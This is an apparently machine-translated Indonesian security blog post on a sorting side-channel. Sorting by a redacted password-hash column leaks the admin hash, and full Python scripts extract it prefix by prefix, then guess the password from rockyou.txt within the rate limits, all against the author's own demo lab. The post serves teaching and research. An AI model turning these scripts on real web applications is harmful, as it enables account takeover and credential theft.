Menyortir Cara Anda untuk Mencuri Kata Sandi
Perkenalan
Baru-baru ini saya mengalami kerentanan unik yang memungkinkan saya melakukan ekstraksi hash kata sandi, meskipun tampaknya data tersebut telah disunting dengan benar.
Untuk mendemonstrasikan implikasi praktis dari kerentanan ini, saya mengembangkan skrip yang menggunakan metode perbandingan karakter demi karakter, secara bertahap membuat hash kata sandi admin dengan menyortir pengguna dan mengamati posisi mereka. Pendekatan ini, meski memakan waktu, menghadirkan peluang unik untuk memecahkan hash kata sandi SHA256 tanpa menggunakan teknik brute-force tradisional.
Menjelajahi Aplikasi Web
Untuk mengilustrasikan kerentanan ini, saya membuat aplikasi web demo yang mensimulasikan kelemahan keamanan ini. Demo ini menggunakan docker dan dapat diunduh di sini jika Anda ingin mencobanya di komputer Anda sendiri. Aplikasi web terlihat seperti ini:
Aplikasinya sederhana, terdiri dari tabel pengguna dengan opsi untuk mengurutkan, menambahkan pengguna baru, dan menghapus semua pengguna. Dalam skenario dunia nyata, fungsi ini kemungkinan akan lebih maju dan aman di belakang autentikasi.
Menemukan bug
Saat melakukan metodologi keamanan aplikasi web standar saya, saya melihat sesuatu yang menarik ketika datang ke tabel pengguna. Dengan menggunakan Burp Suite, saya dapat melihat bahwa ada permintaan yang dikirim saat saya melihat halaman index.html yang mengurutkan pengguna dalam tabel:
Sekarang, ini bukan sesuatu yang luar biasa, tetapi setelah mencoba beberapa cara berbeda untuk mengurutkan kolom, saya menemukan bahwa posisi pengguna berubah ketika saya mengurutkan berdasarkan password_hash !
Ini cukup aneh, karena pada tangkapan layar di atas semua hash DIHAPUS jadi, mereka tidak boleh mengubah posisi saat mengurutkan berdasarkan bidang itu??
Untuk mencari tahu mengapa ini terjadi, saya melakukan beberapa analisis pada kode dan menemukan ini:
# Getting users for the table on index.html
@app.route('/users')
def get_users():
sort_col = request.args.get('sort_col', default='id')
sort_order = request.args.get('sort_order', default='asc')
sorted_users = sorted(
users, key=lambda u: u[sort_col], reverse=(sort_order == 'dec'))
redacted_users = []
for user in sorted_users:
redacted_user = user.copy()
redacted_user['password_hash'] = 'REDACTED'
redacted_users.append(redacted_user)
return jsonify(redacted_users)
Secara teori, jika kita mengetahui atau dapat menebak mekanisme hashing kata sandi (biasanya SHA256, MD5, atau bcrypt), kita dapat membuat pengguna baru, dengan kata sandi yang kita ketahui apa hashnya, dan menggunakannya untuk menyortir pengguna untuk menentukan kata sandi pengguna admin.
Pada diagram di atas, kata sandi admin adalah donat yang memiliki hash SHA256 2f63371bea3c61d9fdba4469984bd22f2cc2381d23e031634f0387bdd97bd28f .
Tujuan saya adalah mengembalikan pengguna admin dalam daftar, sebelum saya. Ketika itu terjadi, saya tahu bahwa hash saya dimulai dengan nilai sebelum admin. Jadi dalam kasus di atas, hash saya lebih kecil dari admin, sehingga mengembalikan [saya, admin].
Dalam diagram ini, saya memperbarui kata sandi saya menjadi 72yY2GEp41 yang menghasilkan hash SHA256 dari 240ba23967c8a19f98e7315b1198b1aebd203836435c5f0d03dbfd84d11853db . Saat menjalankan fungsi check() , saya masih menjadi yang pertama dalam daftar. Namun, fungsinya memvalidasi bahwa karakter pertama adalah "2" == "2" yang sama, lalu memeriksa karakter berikutnya "f" > "4", yang akan mengembalikan hash saya terlebih dahulu.
Terakhir, ketika hash kata sandi saya dimulai dengan karakter "3", itu lebih besar dari hash kata sandi admin yang dimulai dengan "2". Oleh karena itu, admin kembali terlebih dahulu dalam daftar dan kita dapat menentukan bahwa hash kata sandi admin memiliki "2" di slot index[0] ! Cukup keren kan! Sekarang mari kita ubah teori ini menjadi kode.
Mengubah Teori Menjadi Kode
Pendekatan saya terhadap masalah ini agak lambat, jadi jika Anda mengetahui cara yang lebih efisien untuk melakukan ini, beri komentar dan beri tahu saya!
Proses yang saya lakukan untuk mengekstrak hash kata sandi admin adalah sebagai berikut:
- Tulis beberapa fungsi untuk membuat pengguna baru dengan kata sandi yang saya pilih, kosongkan tabel pengguna, dan urutkan pengguna. Kode yang saya buat untuk itu adalah sebagai berikut:
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
2. Selanjutnya, saya membuat fungsi bernama check() untuk melihat apakah respons json dari fungsi sort_users() mengembalikan tabel users dengan pengguna admin terlebih dahulu dalam daftar, atau kedua :
def check():
users = json.loads(sort_users())
return users[0]['id'] == 1
3. Sekarang saya harus dapat menemukan hash SHA256 yang dimulai dengan awalan, dan mengembalikan string yang digunakan untuk menghasilkan hash tersebut dan hash itu sendiri.
Misalnya, jika saya tahu admin_hash saya adalah: 8c 6976e5b5410415bde908bd4dee15dfb167a9c873fc4bb8a81f6f2ab448a918
Lalu yang perlu saya lakukan adalah membuat hash yang bisa saya gunakan untuk mengatasinya. Jadi my_hash bisa terlihat seperti: 87 227afead5d3d1a5b89bf07a673510114b1d98d473d43e0ff7e3b230032311e . Idenya di sini adalah karena saya dapat mengurutkan database, saya dapat menentukan apakah admin_hash naik atau turun dibandingkan dengan my_hash. Jadi 8c6976e… akan muncul lebih dulu sebelum 87227af… karena angka 8 sama tetapi “c” muncul sebelum “ 7” jika jenis saya adalah untuk nilai yang menurun. Dapatkan idenya?
Sekarang yang perlu saya lakukan adalah pergi karakter demi karakter, membuat hash dengan awalan sampai saya memiliki kata sandi teks biasa admin, dan hash mereka. Untuk melakukan itu kode saya terlihat seperti ini:
def gen_hash(prefix):
while True:
random_string = ''.join(random.choices(
string.ascii_letters + string.digits, k=10))
sha256_hash = hashlib.sha256(random_string.encode()).hexdigest()
if sha256_hash.startswith(prefix):
return random_string, sha256_hash
4. Setelah fungsi ini berfungsi, hal terakhir yang saya butuhkan adalah logika untuk mengaburkan karakter demi karakter sampai saya mendapatkan hash yang cocok dengan admin! Untuk melakukan ini, kode saya terlihat seperti:
if __name__ == '__main__':
# SHA256 hashes can only have 0-9, a-f which limits our bank significantly.
bank = '0123456789abcdef'
value = []
# 64 chars is the length of a SHA256 hash
while len(value) <= 64:
found_match = False
for char in bank:
# Sends the POST request to clear all users but admin
clear_users()
# Ill talk about the 'ff' below :sad-doge:
rand_string, hash = gen_hash("".join(value) + char + 'ff')
# Creates a new user, with the random string that has our prefix
create_user(password=rand_string)
# Checking to see if admin comes first or second in the table
if check():
value.append(char)
found_match = True
break
# Adds some animation because who likes boring CLIs
print(f"[!] ADMIN HASH: {''.join(value)}{char}", end='\r')
time.sleep(0.1)
if not found_match:
value.append('0' if not value else 'f')
print("\n[!] FINAL ADMIN HASH: " + ''.join(value))
Secara keseluruhan, jika Anda menggabungkan semua kode itu, Anda akan melihat sesuatu seperti GIF di bawah ini di konsol Anda:
Anda dapat melihat di GIF bahwa saya hanya mendapatkan beberapa karakter dan kemudian mulai sangat lambat. Itu karena kami secara harfiah memaksa kata sandi pengguna admin. Ini adalah batasan besar dan kemungkinan akan mengharuskan penyerang menghabiskan banyak waktu untuk membuat kata sandi. Satu-satunya perbedaan antara ini, dan bruteforce umum adalah bahwa batasannya disebabkan oleh daya komputasi di komputer Anda. Menemukan hash yang dimulai dengan 5+ karakter membutuhkan banyak waktu kecuali Anda menghitung hash sebelumnya atau memiliki tabel pelangi besar untuk dicari. Secara keseluruhan, mendapatkan bruteforce penuh seperti ini kemungkinan akan membutuhkan sekitar 500 permintaan ke server, dan mengharuskan Anda menghasilkan TON string untuk mendapatkan nilai hash yang benar.
Bukan Bruteforce Khas Anda
Aplikasi demo telah membangun pembatasan kecepatan dengan 200 req/jam pada titik akhir utama, dan 20 req/jam pada titik akhir login. Dengan mengingat hal itu, serangan bruteforce kemungkinan akan membutuhkan jutaan bahkan miliaran permintaan untuk menebak kata sandinya. Namun, bagaimana jika saya memberi tahu Anda bahwa kami dapat melakukannya dengan kurang dari 200 permintaan? Mari selami cara kerjanya.
Mirip dengan pendekatan yang saya ambil dengan skrip solve.py pertama, dalam pendekatan ini kita akan menganggap kata sandi diambil secara acak dari rockyou.txt . Sekarang ini sedikit curang tetapi rockyou.txt memiliki 14.344.394 (14 Juta) kata sandi dalam daftar. Kami harus "menebak" kata sandi di bawah 200 permintaan untuk menghindari deteksi dan batas tarif. Mari kita mulai.
- Mirip dengan skrip solve.py pertama, saya akan menggunakan fungsi yang sama yang berinteraksi dengan aplikasi web tetapi saya juga akan membuat fungsi login:
domain = "lab.prodefense.io"
def create_user(email='[email protected]', name='matt', password='hackyhack'):
url = f"http://{domain}/users"
json = {"email": email, "name": name, "password": password}
requests.post(url, json=json)
def clear_users():
url = f"http://{domain}/users"
requests.delete(url)
def sort_users(direction='asc'):
url = f"http://{domain}/users?sort_col=password_hash&sort_order={direction}"
r = requests.get(url)
return r.text
def login(username, password):
url = f"http://{domain}/login"
json = {"username": username, "password": password}
r = requests.post(url, json=json)
return r.status_code
import hashlib
with open('rockyou.txt', 'r', encoding='utf-8') as input_file:
with open('combined.txt', 'w') as output_file:
for line in input_file:
line = line.strip()
hashed_line = hashlib.sha256(line.encode()).hexdigest()
output_file.write(f'{hashed_line},{line}\n')
print('Conversion completed. Check combined.txt file.')
2. Sekarang saya perlu menulis sebuah fungsi yang dapat bertindak mirip dengan fungsi gen_hash(awalan) saya , tetapi untuk memindai melalui file gabungan.txt baru kami untuk menemukan hash yang bisa menjadi hash kata sandi pengguna berdasarkan awalan . Saya yakin Anda melihat ke mana saya akan pergi dengan ini sekarang :)
def find_hashes(prefix):
hashes = []
passwords = []
with open('combined.txt', 'r', errors='replace') as file:
for line in file:
line = line.strip()
if line.startswith(prefix):
values = line.split(',')
if len(values) == 2:
sha256, password = values
hashes.append(sha256)
passwords.append(password)
return hashes, passwords
3. Halaman /login hanya memungkinkan 20 req/jam. Karena itu, saya perlu mendapatkan nilai awalan saya cukup lama di mana saya dapat memanggil fungsi find_hashes() , dan memintanya mengembalikan 20 (atau kurang) kata sandi yang dimulai dengan nilai awalan yang diberikan.
Possible password hashes (notice they all start with the prefix):
hash_prefix: "b60d9"
055555:b60d92f92101e5210a530631ec3ad59c32ecdc3fd3ab75ac1291cedcaf6fee77
cordelius:b60d914e40a9572820f571d8cf38e8425742a8a1cd6c5586f35a6c7e73e39dcf
terfase:b60d920aa0cabdbdcf7447632bcdb9456a35c4378db17137066aee36d3aeea12
obolku:b60d9db875658b618b27f0a2d4c869628a9f937ea6c1a0172d4a6acc2f219846
escuelapan2:b60d9852d3325c01b7556719dd1e9b684017b8306fc1902eb9e6298250459735
...etc...
def bruteforce(password_list):
for pwd in password_list:
if login('admin', pwd) == 200:
print(
f"[!] ADMIN PASSWORD: {colored(pwd, 'green')}")
sys.exit(0)
if __name__ == '__main__':
api_call_count = 0
prefix = ""
bank = '0123456789abcdef'
for i in range(10):
found_match = False
for char in bank:
clear_users()
pwd, hash_value = gen_hash(prefix+char+'f')
create_user(password=pwd)
api_call_count += 3
if check():
found_match = True
prefix += char
tmp_hashes, tmp_passwords = find_hashes(prefix)
if (len(tmp_hashes) < 20):
print(
f"[!] PARTIAL ADMIN HASH: {colored(prefix, 'green')}")
bruteforce(tmp_passwords)
break
print(
f"[!] FINDING HASH: {prefix}{colored(char, 'red')} - [INFO] API Calls Sent: {api_call_count}/200'", end='\r')
time.sleep(0.2)
if not found_match:
hash += 'f' if hash else '0'
Skrip solve.py ini membutuhkan waktu 2m 30 detik dan menggunakan 87 permintaan. Hash kata sandi benar-benar acak dalam daftar kata rockyou.txt yang berisi 14.344.394 (14 Juta) kata sandi.
Kesimpulan
Meskipun aplikasi web demo saya mungkin tidak memenangkan penghargaan apa pun untuk "Aplikasi Web Paling Aman Tahun Ini", ini jelas menunjukkan betapa uniknya beberapa bug, dan mengapa chatGPT tidak akan mengambil pekerjaan saya dalam waktu dekat.
Selain lelucon, kerentanan ini yang memungkinkan penyerang menyortir kata sandi yang dicuri menyoroti potensi risiko yang bersembunyi di dalam fungsionalitas yang tampaknya tidak berbahaya. Melalui analisis menyeluruh dan pendekatan cerdas, penyerang dapat mengekstrak hash kata sandi dari aplikasi web yang rentan jika tidak hati-hati.
Catatan: Jika Anda menyukai posting blog ini dan ingin mencoba membuat skrip solusi Anda sendiri, saya telah membuat wadah buruh pelabuhan yang secara acak menghasilkan kata sandi admin yang dapat diunduh di sini . Selamat Meretas!